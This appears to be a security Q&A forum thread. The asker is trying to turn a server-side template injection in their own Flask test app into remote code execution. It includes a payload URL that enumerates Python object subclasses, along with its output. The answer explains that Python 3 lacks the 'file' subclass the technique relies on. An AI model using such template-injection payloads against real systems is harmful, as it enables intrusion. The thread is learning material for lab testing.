2

I'm trying to get RCE in a simple Flask web app I developed, which is vulnerable to server side template injection (SSTI).

RCE is usually obtained by uploading the reverse shell script on the target, thanks to a file reference, accesses by using the object.__subclasses__() method.

URL with Payload

http://0.0.0.0:5000/%7B%7B''.__class__.__mro__[1].__subclasses__()%7D%7D

Breakdown

{{''.__class__}}  => <class 'str'>
{{''.__class__.__mro__}}  => (<class 'str'>, <class 'object'>)
{{''.__class__.__mro__[1]}}  => <class 'object'>
{{''.__class__.__mro__[1].__subclasses__()}}  => [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, ...

Response page

Oops! That page doesn't exist.
http://0.0.0.0:5000/[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, ...

Unfortunately, in the output I get, there isn't any file reference , so I'm not able to upload the reverse shell.

What am I missing?

1 Answer 1

1

After further research, I think I figured out why. It seems that the latest versions of Python are not vulnerable to the metodology briefly explained in my original post.

The Flask web app I was using as target was indeed running inside a Docker container, with the latest version of Python installed.

A simple way to check it out:

Python 2.7.10

>>> object.__subclasses__()
[<type 'type'>, <type 'weakref'>,..., <type 'file'>, ...]

Python 3.7.1

>>> object.__subclasses__()
[<class 'type'>, <class 'weakref'>, ... ] # no <type 'file'> or <class 'file'>

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .